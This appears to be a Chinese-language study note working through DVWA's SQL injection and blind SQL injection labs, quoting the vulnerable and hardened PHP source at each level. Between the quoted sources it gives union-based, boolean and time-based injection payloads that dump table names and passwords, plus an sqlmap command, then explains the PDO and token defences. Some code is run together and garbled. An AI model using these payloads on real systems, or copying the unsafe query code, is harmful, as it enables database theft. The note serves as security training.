目的:执行特定sql语句,获得其他相关内容。
攻击方式:动态构造SQL语句
影响:数据库的脱裤、修改、甚至影响到操作系统。
漏洞原理:直接使用原始sql语句,没有代码审查
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "ID: {$id}"; } mysqli_close($GLOBALS["___mysqli_ston"]); break;
First name: {$first}
Surname: {$last}
漏洞利用:
步骤1:判断是否存在注入漏洞:
1 or 1 =1 或者是 1‘ or 1 = 1 #
步骤2:判断当前表字段个数?:通过order by 排序字段来判断字段个数
1' or 1=1 order by 1 # 会返回全部内容
1' or 1 = 1 order by 2#
.... 到3的时候形式错误,说明有2个字段
步骤3:当前表所在数据库?(利用联合查询)
1' union select 1,database() #
步骤4:当前库的其他表?
1' union select 1,group_concat(hex(table_name)) from information_schema.tables where table_schema=database() #
能够看到2条记录,第2条显示2个表明
注意:当前表和information_schema.tables编码不一致,实战时,使用hex转为16进制后通过工具再解码
步骤5:查看某表的敏感信息:
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
利用mysqli_real_escape_string()函数对输入内容对转移字符\x00 , \n , \r , \ , ’ , ” , \x1a还原为用来的字符。页面前端改为下拉,限制用户输入。
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( ''
. mysqli_error($GLOBALS["___mysqli_ston"]) . '
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "ID: {$id}"; } break; case SQLITE: global $sqlite_db_connection; $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; #print $query; try { $results = $sqlite_db_connection->query($query); } catch (Exception $e) { echo 'Caught exception: ' . $e->getMessage(); exit(); } if ($results) { while ($row = $results->fetchArray()) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "
First name: {$first}
Surname: {$last}
ID: {$id}"; } } else { echo "Error in fetch ".$sqlite_db->lastErrorMsg(); } break; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '
First name: {$first}
Surname: {$last}
'. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]);
解决:可以通过抓包对post进行修改。
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( 'Something went wrong.
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "ID: {$id}
First name: {$first}
Surname: {$last}
";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "ID: {$id}
First name: {$first}
Surname: {$last}
";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
加了LIMIT 1 语句(限制返回个数),但可通过 #注释掉;(但是输入sql语句和返回不在同一个页面)
查询页面和响应结果页面不是同一个,防止sqlmap的注入;但sqlmap也利用命令可以破解:
漏洞利用:利用sqlmap工具,来检测owap的hign等级的sql注入:
用burpsuite抓取发送数据包,通过sqlmap对url或者说rferer分析,可以获得漏洞
sqlmap
-u"127.0.0.1/dvwa/vulnerabilities/sqli/session-input.php"
--second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli/"
--data="id=1&Submit=Submit" --cookie="security=high; PHPSESSID=bo5mkoi6da86nihm67dpl1il"
-dbs --batch
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
$id = intval ($id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); //占位
$data->bindParam( ':id', $id, PDO::PARAM_INT ); //将参数与占位符绑定
$data->execute(); //
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "ID: {$id}
First name: {$first}
Surname: {$last}
";
}
break;
case SQLITE:
global $sqlite_db_connection;
$stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
$stmt->bindValue(':id',$id,SQLITE3_INTEGER);
$result = $stmt->execute();
$result->finalize();
if ($result !== false) {
// There is no way to get the number of rows returned
// This checks the number of columns (not rows) just
// as a precaution, but it won't stop someone dumping
// multiple rows and viewing them one at a time.
$num_columns = $result->numColumns();
if ($num_columns == 2) {
$row = $result->fetchArray();
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "ID: {$id}
First name: {$first}
Surname: {$last}
";
}
}
break;
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
在hign的基础上,进行pdo技术,先对sql语句prepare预处理,用占位符占用参数位置,再拿着某个参数 execute某个预编译的语句;
注:PDO技术(PHP Data Object)是一种接口,PHP可使用PDO一接口去连接不同数据库的一套代码;
盲注:无法从页面获取执行结果,甚至注入语句是否执行都不知道。
前置知识:数字型注入和字符型注入最大区别就是是否利用引号将字符引起来,数字型被含于字符,但反之不成立。
漏洞原理:主要利用数据库查询语言DQL,通过注入sql语句后响应的 true/false,来实现注入。
漏洞问题:没有进行代码设计,知识对查询作是/否简单的响应
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
$exists = false;
if ($result !== false) {
try {
$exists = (mysqli_num_rows( $result ) > 0);
} catch(Exception $e) {
$exists = false;
}
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
echo 'User ID exists in the database.
';
} else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
}
?>
漏洞利用:
步骤1: 判断当前数据库 长度/名称
数据库长度:
长度:1' and length(database()) = 4 # 依次判断
数据库名称: 通过判断每个ascii值判断每个字母
库名:1' and ascii(substr(database(),m,1))>n #
截取库名第m个开始,1长度的,利用ascii值判断依次判断
会得到一个dvwa的数据库名;
步骤2: 数据库下 表长度/表名
表个数:
1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=1 #
长度:
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #
表名:
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 第一个表名逐个字母猜测
结果时guestbook和users两个表
3 表下 字段名长度/字段名
字段个数:8
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 #
字段长度:7,10...
1' and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 #
字段名:user_id,first_name
1’ and ascii(substr((select column_name from information_schema.COLUMNS where table_name= ’users’ limit 0,1),1,1)) > 97 #
最后指导users所有字段名
步骤4: 一条记录
还是到具体表中找,记录的字符个数,逐个猜测
漏洞利用2:利用休眠函数sleep()和if()函数,观察延迟,
SELECT IF(expression, true, false)
1’ and if(length(database()) > 2,sleep(10),0)
1’ and sleep(if((length(database()) = 5),0,5))
SQL Injection (Blind) Source
vulnerabilities/sqli_blind/source/medium.php
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
$exists = false;
if ($result !== false) {
try {
$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
}
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
echo 'User ID exists in the database.
';
} else {
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
}
?>
漏洞利用:下拉列表代替 手动输入,和sql注入一致,使用转义特殊符号函数mysqli_real_escape_string
SQL Injection (Blind) Source
vulnerabilities/sqli_blind/source/high.php
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ]; //将id,利用cookie变量传递
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; //限制返回条数为1
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
$exists = false;
if ($result !== false) {
// Get results
try {
$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) ); //不存在时,随机休眠指定时间,打乱了sleep()的注入
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
}
?>
漏洞利用:limit 1可以利用# 注释, 代码中利用sleep()函数打乱了利用sleep()的注入,所以只能使用字符盲注
SQL Injection (Blind) Source
vulnerabilities/sqli_blind/source/impossible.php
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$exists = false;
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
$id = intval ($id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$exists = $data->rowCount();
break;
case SQLITE:
global $sqlite_db_connection;
$stmt = $sqlite_db_connection->prepare('SELECT COUNT(first_name) AS numrows FROM users WHERE user_id = :id LIMIT 1;' );
$stmt->bindValue(':id',$id,SQLITE3_INTEGER);
$result = $stmt->execute();
$result->finalize();
if ($result !== false) {
// There is no way to get the number of rows returned
// This checks the number of columns (not rows) just
// as a precaution, but it won't stop someone dumping
// multiple rows and viewing them one at a time.
$num_columns = $result->numColumns();
if ($num_columns == 1) {
$row = $result->fetchArray();
$numrows = $row[ 'numrows' ];
$exists = ($numrows == 1);
}
}
break;
}
}
// Get results
if ($exists) {
// Feedback for end user
echo 'User ID exists in the database.
';
} else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
利用了PDO技术,防御了SQL注入,Anti-CSRF token机制的加入了进一步提高了安全性。